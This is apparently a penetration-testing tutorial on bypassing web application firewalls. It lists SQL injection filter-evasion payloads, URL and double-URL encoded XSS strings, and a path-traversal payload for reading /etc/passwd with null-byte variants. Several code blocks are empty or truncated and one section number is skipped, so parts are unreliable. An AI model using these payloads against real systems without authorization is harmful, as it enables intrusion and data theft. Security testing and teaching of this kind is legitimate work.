# Bypassing WAFs: Tricks from the Field Web Application Firewalls (WAFs) are a common defense, but they're not perfect. Understanding bypass techniques is essential for effective penetration testing. **Disclaimer:** Only use these techniques on systems you have authorization to test. ## Understanding WAFs ### How WAFs Work **Signature-based detection:** - Pattern matching against known attacks - Regex rules for malicious patterns - Blacklist of dangerous strings **Behavior-based detection:** - Anomaly detection - Rate limiting - Request pattern analysis ### Common WAFs - AWS WAF - Cloudflare - Akamai - Imperva - ModSecurity - F5 ## General Bypass Techniques ### 1. Case Manipulation WAFs often use case-sensitive patterns: ```sql -- Original (blocked) SELECT * FROM users -- Bypasses SeLeCt * FrOm users select * from users SELECT/**/**/FROM/**/users ``` ### 2. Encoding **URL Encoding:** ``` # Original # URL encoded %3Cscript%3Ealert(1)%3C%2Fscript%3E # Double URL encoded %253Cscript%253Ealert(1)%253C%252Fscript%253E ``` **Unicode Encoding:** ``` # Original: ipt>alert(1)ipt> ``` ### 4. Whitespace Alternatives **SQL:** ```sql -- Spaces replaced UNION%09SELECT UNION%0ASELECT UNION%0DSELECT UNION%0CSELECT ``` **HTML/JavaScript:** ```html

``` ### 5. Null Bytes ``` # Original ../../../etc/passwd # With null byte ../../../etc/passwd%00 ../../../etc/passwd%00.jpg ``` ## SQL Injection Bypasses ### Alternative Syntax ```sql -- UNION alternatives UNION ALL SELECT UNION DISTINCT SELECT -- OR alternatives || 1=1 OR 1 OR true OR 'a'='a' -- AND alternatives && 1=1 AND 1 AND true ``` ### Function Alternatives ```sql -- CONCAT alternatives CONCAT('a','b') 'a' || 'b' 'a' 'b' (MySQL) -- SUBSTRING alternatives SUBSTRING(str,1,1) SUBSTR(str,1,1) MID(str,1,1) LEFT(str,1) ``` ### Obfuscation Techniques ```sql -- String concatenation SELECT 'admin' → SEL'+'ECT 'adm'+'in' -- Char function SELECT CHAR(65) → A SELECT CHAR(97,100,109,105,110) → admin -- Hex SELECT 0x61646d696e → admin -- Commenting SELECT/**/username/**/FROM/**/users ``` ### WAF-Specific Bypasses **ModSecurity:** ```sql -- Core Rule Set bypass attempts 1' and/**/ extractvalue(1,concat(0x7e,version()))-- /*!50000UNION*//*!50000SELECT*/ ``` **MySQL specific:** ```sql -- Version comments /*!50000SELECT*/ * FROM users 1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- ``` ## XSS Bypasses ### Tag Variations ```html ``` ### Event Handler Alternatives ```html onerror, onclick, onload

#WAF

Bypassing WAFs: Tricks from the Field

Related Tags